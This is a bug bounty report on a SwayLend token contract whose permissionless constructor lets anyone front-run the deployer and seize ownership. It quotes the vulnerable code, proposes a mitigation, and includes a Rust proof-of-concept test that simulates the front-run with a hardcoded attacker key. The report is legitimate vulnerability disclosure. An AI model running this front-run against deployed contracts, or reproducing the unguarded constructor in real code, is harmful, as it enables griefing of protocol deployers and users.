#35853 [SC-Medium] permissonless constructor always for front-running owner initialization.
Submitted on Oct 10th 2024 at 20:41:19 UTC by @SeveritySquad for IOP | Swaylend
Report ID: #35853
Report Type: Smart Contract
Report severity: Medium
Target: https://github.com/Swaylend/swaylend-monorepo/blob/develop/contracts/src-20/src/main.sw
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Theft of gas
Description
Brief/Intro
The constructor of the SwayLend token allows anyone to front-run the real deployer of the contract and initialize themselves as the owner; this can lead to griefing and gas waste.
Vulnerability Details
On the call to the `constructor()` anyone can initialize themselves as the owner, causing subsequent calls to fail, forcing the deployers to always have to re-deploy the token, this will lead to waste of gas and griefing. ```rust fn constructor(owner_: Identity) { require( storage .owner .read() == State::Uninitialized, "owner-initialized", ); storage.owner.write(State::Initialized(owner_)); } ```
Mitigation
It is best to set the owner as configurable since there is no way to transfer ownership.
References
https://github.com/Swaylend/swaylend-monorepo/blob/9132747331188b86dd8cbf9a1ca37b811d08dddb/contracts/src-20/src/main.sw#L41C1-L50C6
Proof of Concept
Proof of Concept
Add to contracts/src-20/scripts/deploy.rs to test.
```rust #[tokio::test] #[should_panic] async fn front_run_initialization() { use fuels::crypto::SecretKey; dotenv().ok();
// setup fuel provider
let rpc = std::env::var("RPC").unwrap();
let provider = Provider::connect(rpc).await.unwrap();
// setup wallet
let secret = std::env::var("SECRET").unwrap();
// let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391".parse().unwrap();
// let attacker: WalletUnlocked = WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
let wallet: WalletUnlocked =
WalletUnlocked::new_from_private_key(secret.parse().unwrap(), Some(provider.clone()));
// deploy token
let configurables = TokenConfigurables::default();
let root = PathBuf::from(env!("CARGO_WORKSPACE_DIR"));
let bin_path = root.join("contracts/src-20/out/debug/src-20.bin");
let config = LoadConfiguration::default().with_configurables(configurables);
let mut rng = rand::thread_rng();
let salt = rng.gen::<[u8; 32]>();
let id = Contract::load_from(bin_path, config)
.unwrap()
.with_salt(salt)
.deploy(&wallet, TxPolicies::default())
.await
.unwrap();
let instance = Token::new(id.clone(), wallet.clone());
let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391"
.parse()
.unwrap();
let attacker: WalletUnlocked =
WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
// simulate an attacker frontrunning the owners call to constructor.
instance
.clone()
.with_account(attacker.clone())
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();
// on the call to contructor by owner, the call will always fail.
instance
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();
} ```
Last updated
Was this helpful?